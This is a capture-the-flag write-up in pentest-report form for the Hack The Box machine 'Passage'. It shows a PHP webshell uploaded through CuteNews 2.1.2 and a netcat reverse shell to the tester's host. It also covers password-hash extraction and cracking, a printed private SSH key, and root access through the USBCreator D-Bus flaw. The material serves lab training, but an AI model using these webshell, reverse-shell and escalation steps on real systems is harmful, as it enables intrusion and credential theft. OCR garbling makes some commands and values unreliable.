Passage

10.10.10.206



InfoGathering

SCOPE								
Hosts								
address	mac	name	os_name	os_flavor	os_sp	purpose	info	comments
10.10.10.206			Linux		3.X	server		

SERVICES

Services					
host	port	proto	name	state	info
10.10.10.206 10.10.10.206	22 80	tcp tcp	ssh http	open open	OpenSSH 7.2p2 Ubuntu 4 Ubuntu Linux; protocol 2.0 Apache httpd 2.4.18 (Ubuntu)

SSH

SSH	10.10.10.206	22 10	.10.10.206	<pre>[*] SSH-2.0-OpenSSH_7.2;</pre>	o2 Ubuntu-4
PORT	STATE SERVICE				
22/tcp	open ssh				
ssh-	auth-methods:				
l Su	pported authent:	ication m	ethods:		
	publickev				
ssh-	hostkev:				
20	48 17 eh 9e 23	a.23.66.	h1.hc.c6:4	f·db·98·d3·d4·a1 (RSA)	
25	6 71:64:51:50·c	2:7f • 18:4	7:03:08:30	·5e·h8:10:10·fc (FCDSA	5
25	6 fd:56:22:f8:d	0.20.22.E	1.20.21.47	·a4:28:d6:a8:a1 (ED255	10)
- 23	o Tu.Jo.Za.To.u publickov pocon	5-00-a/.1.	1.40.41.47	.44.50.00.80.81 (ED255	19)
ssn-	publickey-accep	Lance:			
_ AC	cepted Public κ	eys: No p	ublic keys	accepted	

SOURCE: https://cutephp.com/



Navigation: Main page | Archives | RSS

Implemented Fail2Ban

18 Jun 2020 By admin 3 Comments Due to unusally large amounts of traffic, View & Comment

- i

LOGIN PAGE: http://10.10.10.206/CuteNews/ REGISTER ACCOUNT PAGE: http://passage.htb/CuteNews/index.php?register

I was able to register for an account and sign in.

SCREENSHOT EVIDENCE OF SIGN IN USING REGISTERED ACCOUNT

RSS

Dashboard	Help/About	Logout	Visit site

Site options



Disk usage (18.62 GiB)		
26% Free		
	Powered by CuteNews 2.1.2 @ 2002-2020 CutePHP.	

(unregistered)

When I click the "Visit Site" link it takes me too http://passage.htb/ I added passage.htb to my /etc/hosts file and restarted Firefox

Gaining Access

Knowing the version of the application running I searched the exploit database for CVE's

```
# Command Executed
searchsploit cutenews 2.1.2
# RESULTS
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt
```

SCREENSHOT EVIDENCE OF RESULTS

```
root@kali:~/HTB/Boxes/Passage# searchsploit CuteNews 2.1.2
Exploit Title
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)
CuteNews 2.1.2 - Arbitrary File Deletion
CuteNews 2.1.2 - Authenticated Arbitrary File Upload
```

I examined the available Authenticated Arbitrary File Upload vulnerability. The description informed me in the "Media Manager" area, users with low privileges can bypas file upload restrictions which results in arbitrary RCE. This matches my current situation as I registered for an account with a low privileged user.

```
# Command Executed
searchsploit -x php/webapps/48458.txt
# RESULTS
Description:
In the "Media Manager" area, Users with low privileges (Editor) can bypass
file upload restrictions, resulting in arbitrary command execution.
```

To use this vulnerability I am going to place simple PHP webshell code into an image file that I named shell.png. I then renamed the file to have a php extension. This is to ensure the PHP code gets executed.

```
# Command Executed
exiftool -Comment='<?php echo "<pre>"; > system($_GET['cmd']); ?>' shell.png;
cp shell.png legion.php
```

I then went to the Personal Options area for my user and uploaded the image as my Avatar and clicked Saved Changes LINK TO PERSONAL OPTIONS: http://passage.htb/CuteNews/index.php?mod=main&opt=personal

SCREENSHOT EVIDENCE OF UPLOAD FILE SETTINGS

Success - User info updated!

Dashboard > Personal options

General options

User Name:

tobor

Email:

tobor@mail.com

Hide my e-mail from visitors

New Password:

Confirm New Password

Nickname

tobor

Avatar

Browse... legion.php

Uploaded files can be found in the URI directory http://passage.htb/CuteNews/uploads/

SCREENSHOT EVIDENCE OF UPLOADED AVATAR IMAGE

User statistics

Registration date: 2020-09-06 20:24:58 Access Level: Commenter

Index of /CuteNews/uploads

	<u>Name</u>	Last modified	Size Description
٩	Parent Directory		-
?	avatar_egre55_ykxnacpt.php	2020-08-31 13:48	1.1K
?	avatar_hacker_jpyoyskt.php	2020-08-31 14:55	1.1K
?	avatar_snufkin_bdixypwn.php	2020-09-06 12:43	2.0K
?	<u>avatar_tobor_legion.php</u>	2020-09-06 17:46	1.8M

Apache/2.4.18 (Ubuntu) Server at passage.htb Port 80

I was then able to execute commands using the webshell CMD LINK: http://passage.htb/CuteNews/uploads/avatar_tobor_legion2.php?cmd=id

SCREENSHOT EVIDENCE OF WEBSHELL

 $() \Rightarrow C$

uid=33(www-data) gid=33(www-data) groups=33(www-data) @@@@TDATy@T@c@py@@@@_@l@c@@u@c@\@Zl@d@c@ps"_r_Ac@@@c@

ຩ໖໖໖໖ຎຉ໖ຎຉຬ຺຺ຆ໖ຩຏ຺຺໖⊠຺ຩຏຏ໖໖໖ຩ໖໖໖໖ຉ຺໖ຎ໋ຨ໖໖໖ຩ຺ຑຬ຺຺

I used the webshell to obtain a reverse shell I started a Metasploit Listener

Commands Executed
msfconsole
use multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.42
set LPORT 1337
run

CMD LINK REV SHELL: http://passage.htb/CuteNews/uploads/avatar_tobor_legion2.php?cmd=nc%2010.10.14.42%201337% 20-e%20/bin/bash

SCREENSHOT EVIDENCE OR REVERSE SHELL

```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.42:1337
[*] Command shell session 4 opened (10.10.14.42:1337 → 10.10.10.206:49896) at 2020-09-06 20:57:11 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
passage
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 :: 1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:c1:b8 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.206/24 brd 10.10.10.255 scope global ens160
       valid lft forever preferred lft forever
```

In my enumeration I discovered the directory /var/www/html/CuteNews/cdata/users contained base64 encoded information. Decoding some of the base64 revealed password hashes I translated the base64 information in each file to obtain a list of password hashes and usernames. I discovered the username that I registered was also listed.

ADMIN HASH

```
# Commands Executed
echo
'YToxOntz0jQ6Im5hbWUi02E6MTp7czo10iJhZG1pbiI7YTo4Ontz0jI6ImlkIjtz0jEw0iIxNTkyNDgzMDQ3Ijtz0jQ6Im5hbWUi03M6N
ToiYWRtaW4i03M6MzoiYWNsIjtz0jE6IjEi03M6NToiZW1haWwi03M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtz0jQ6InBhc3Mi03M6NjQ
6IjcxNDRh0GI1MzFjMjdhNjBiNTFk0DFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNh0Tdm0WUxNDg1ZTEi03M6MzoibHRzIjtz0
jEw0iIxNTkyNDg30Tg4Ijtz0jM6ImJhbiI7czoxMDoiMTU50TQz0DI30CI7czoz0iJjbnQi03M6MToiMiI7fX19' | base64 -d
# RESULTS
a:l:{s:4:"name";a:l:{s:5:"admin";a:8:
{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";
s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487
988";s:3:"ban";s:10:"1599438278";s:3:"cnt";s:1:"2";}}
```

PAUL HASH

```
# Command Executed
echo
'YToxOntz0jQ6Im5hbWUi02E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5Ontz0jI6ImlkIjtz0jEw0iIxNTkyNDgzMjM2Ijtz0jQ6Im5hb
WUi03M6MTA6InBhdWxtY29sZXMi03M6MzoiYWNsIjtz0jE6IjIi03M6NToiZW1haWwi03M6MTY6InBhdWxAcGFzc2FnZS5odGIi03M6NDo
ibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo00iJwYXNzIjtz0jY00iJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU20TBlNWQzZDYxNjI4Z
jQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtz0jM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czoz0iJiYW4i03M6MToiMCI7czoz0iJ
jbnQi03M6MToiMiI7fX19' | base64 -d
# RESULTS
a:l:{s:4:"name";a:l:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-
coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul
Coles";s:3:"acl";s:1:"0";s:3:"cnt";s:1:"2";}}
```

SCREENSHOT EVIDENCE OF PASSWORD HASH

a:1:{s:4:"name";a:2:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@te st.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToy OntzOjQ6InNpdGUi03M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ=";s:3:"lts";s:10:"1598906881";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55 _ykxnacpt.php";s:6:"e-hide";s:0:"";}s:6:"hacker";s:11:{s:2:"id";s:10:"1598910896";s:4:"name";s:6:"hacker";s:3:"acl";s:1:"4";s:5:"email"; s:20:"hacker@hacker.hacker";s:4:"nick";s:6:"hacker";s:4:"pass";s:64:"erd3685715939842749cc27b38d0ccb9706d4d14a5304ef9ee093780eab5df9";s :3:"lts";s:10:"1598910911";s:3:"ban";s:1:"0";s:6:"avatar";s:6:"avatar";s:6:"avatar";s:6:"avatar";s:6:"avatar";s:26:"avatar";s:6:"avatar";s:26:"avatar";s:6:"avatar";s:26:"avatar";s:26:"avatar";s:6:"avatar";s:26: HASH: e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd PASS: atlanta1

USER: admin HASH: 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1

Knowing that these are all hashes to enter the application I checked the /etc/passwd file for any matching usernames. I discovered paul has a user account on the machine. I then cracked his password.

Commands Executed
hashid e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' > paul.hash
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt paul.hash

SCREENSHOT EVIDENCE OF CRACKED PASSWORD

```
rootNkali:~/HTB/Boxes/Passage# john -- format=raw-sha256 -- wordlist=/usr/share/wordlists/rockyou.txt paul.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider -- fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
atlanta1 (?)
1g 0:00:00:00 DONE (2020-09-06 21:28) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s 123456..eatme1
Use the "--show -- format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed
```

I then was able to su as Paul

Commands Executed
su paul
Password: atlantal

Inside Pauls home directory is an SSH key for Paul which created persistence

```
# Commands Executed
cat /home/paul/.ssh/id_rsa > paul.key
chmod 600 paul.key
ssh -p 22 -i paul.key paul@passage.htb
```

CONTENTS OF paul.key

```
----BEGIN RSA PRIVATE KEY----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmA07Y0+jeUS266Bqg0j6PdU0vT0GnS7M4i
Z2Lpm4QpYDyxrqY90mCq5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
JjBG0Xn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
sjhFoXD8m5D0YcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
lxNsimGsGYq10ewXETFSSF/xe0K15hp5rzwZwrmI9No4FFrX6P0r7rd0axswSFAh
zWd1GhYk+Z3gYUhCE0AxHxpM0DlNVFrIwc0DnM5jog06JDxHkzXaDUj/A0jnjMMz
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G60EhNVd2S8/enlxf51MI0/k
7u1gB70CgYEA1zLGA35J1HW7Icg0K7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
GS3B3ng0KyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5lo0j9+hm7wYCtGpbdS9urDHaMZUHysSR
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizÉWH0
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
1v9lucmBzWig6vjxwYnnjXsW1qJv20+NIqef0W0pYaLvLdoBhbLEd6UkT0tMIrj0
KnjOfIETEsn2a56D50sYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
9pT2lD4vIil2M6w5EKQeo0KBqQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
d8dj23L0uJ9MVdmz/K920udHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5K0s
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEz01ipyWd0/rvoY
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+90ElbhskRiWlB30IDb51mbSYgyM
Uxu7T8HY2CcWiKGe+TEX6mw9VFxa0yiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
OR3yqpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
----END RSA PRIVATE KEY-----
```

SCREENSHOT EVIDENCE OF PAUL SSH ACCESS

rootikali:~/HTB/Boxes/Passage# ssh -p 22 -i paul.key paul@passage.htb load pubkey "paul.key": invalid format The authenticity of host 'passage.htb (10.10.10.206)' can't be established. ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'passage.htb,10.10.10.206' (ECDSA) to the list of known hosts. Last login: Sun Sep 6 13:08:42 2020 from 10.10.14.20 paul@passage:~\$

As Paul I am able to read the user flag

Commands Executed
cat /home/paul/user.txt
RESULTS
e8a7d0453181ac7413eb8961d3a95ffc

SCREENSHOT EVIDENCE OF USER FLAG

www-data@passage:/var/www/html/CuteNews/cdata/users\$ su paul su paul Password: atlanta1

paul@passage:/var/www/html/CuteNews/cdata/users\$ cat /home/paul/user.txt
cat /home/paul/user.txt
o8a7d0452181ac7412ob8061d2a05ffc

e8a7d0453181ac7413eb8961d3a95ffc

USER FLAG: e8a7d0453181ac7413eb8961d3a95ffc

PrivEsc

It turned out that I am able to use the same SSH key for Nadav as Paul. This allowed me SSH persistent access as Nadav

Command Executed
ssh -p 22 -i paul.key nadav@passage.htb

SCREENSHOT EVIDENCE OF NADAV SSH ACCESS

```
:~/HTB/Boxes/Passage# ssh nadav@passage.htb -p 22 -i paul.key
load pubkey "paul.key": invalid format
Last login: Mon Sep 7 10:56:36 2020 from 10.10.14.42
nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashar
e)
nadav@passage:~$ hostname
passage
nadav@passage:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:cf:ea brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.206/24 brd 10.10.10.255 scope global ens160
      valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:cfea/64 scope global mngtmpaddr dynamic
      valid_lft 86340sec preferred_lft 14340sec
    inet6 fe80::250:56ff:feb9:cfea/64 scope link
      valid_lft forever preferred_lft forever
```

Initial enumeration discovers that Nadav is a member of the sudoers group.

The sudo version is out of date running version 1.8.16. This is vulnerable to CVE-2016-7076. In order to exploit this version however requires the noexec defaults setting is enabled or the NOEXEC tag is applied to a command that calls the wordexp() function without specifying the WRDE_NOCMD flag. The sudo version should be upgraded by the person paying for this penetration test

RESOURCE: https://www.sudo.ws/alerts/noexec_wordexp.html

Commands Executed
sudo -V

SCREENSHOT OF SUDO VERSION

```
paul@passage:/$ sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
```

In my enumeration of running processes I disocver that root is executing a python3 command which implies a user most likely set this up.

```
# Commands Executed
ps aux | grep usb
# RESULTS
root 2564 0.0 0.4 235552 19848 ? Sl 18:42 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
```

SCREENSHOT OF ROOT PROCESS

nadav@passage:~\$ ps aux | grep usb
root 2022 0.0 0.4 235544 19876 ? Sl 10:48 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper

Running a web search for "nadav usb dbus" I discovered the below vulnerability **RESOURCE**: https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

For this vulnerability to work I need to be a member of the sudoers group and have execute privileges on the dbus tool I verified I have these permissions

Commands Executed
<pre>find / -perm -u=s -type f 2> /dev/null grep dbus</pre>

SCREENSHOT EVIDENCE OF REQUIRED PERMISSIONS

nadav@passage:~\$ id nadav uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) nadav@passage:~\$ find / -perm -u=s -type f 2> /dev/null | grep dbus /usr/lib/dbus-1.0/dbus-daemon-launch-helper

I then took advantage of the com.ubuntu.USBCreator service as this is the one from the paper that can act on behalf of an unprivileged user with no authentication. I added my ssh key to nadav's authorized keys and copied that file to the root users authorized keys file

```
# Commands Executed
echo 'ssh-rsa AAAA...== root@kali' > ~/.ssh/authorized_keys
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method
com.ubuntu.USBCreator.Image /home/nadav/.ssh/authorized_keys /root/.ssh/authorized_keys true
# RESULTS
()
```

SCREENSHOT EVIDENCE OF EXPLOIT CMD

```
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.
USBCreator.Image /home/nadav/.ssh/authorized_keys /root/.ssh/authorized_keys true
()
nadav@passage:~$
```

I was then able to SSH in as the root user and read the root flag

```
# Commands Executed
ssh -p 22 -i /root/.ssh/id_rsa root@passage.htb
cat /root/root.txt
# RESULTS
4f78ab2f4b603f173dc65ceedafaedd3
```

SCREENSHOT EVIDENCE OF ROOT FLAG

```
li:~/HTB/Boxes/Passage# ssh -p 22 -i /root/.ssh/id_rsa root@passage.htb
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# hostname
passage
root@passage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:cf:ea brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.206/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:cfea/64 scope global mngtmpaddr dynamic
       valid_lft 85849sec preferred_lft 13849sec
    inet6 fe80::250:56ff:feb9:cfea/64 scope link
       valid_lft forever preferred_lft forever
root@passage:~# cat /root/root.txt
4f78ab2f4b603f173dc65ceedafaedd3
```

ROOT FLAG: 4f78ab2f4b603f173dc65ceedafaedd3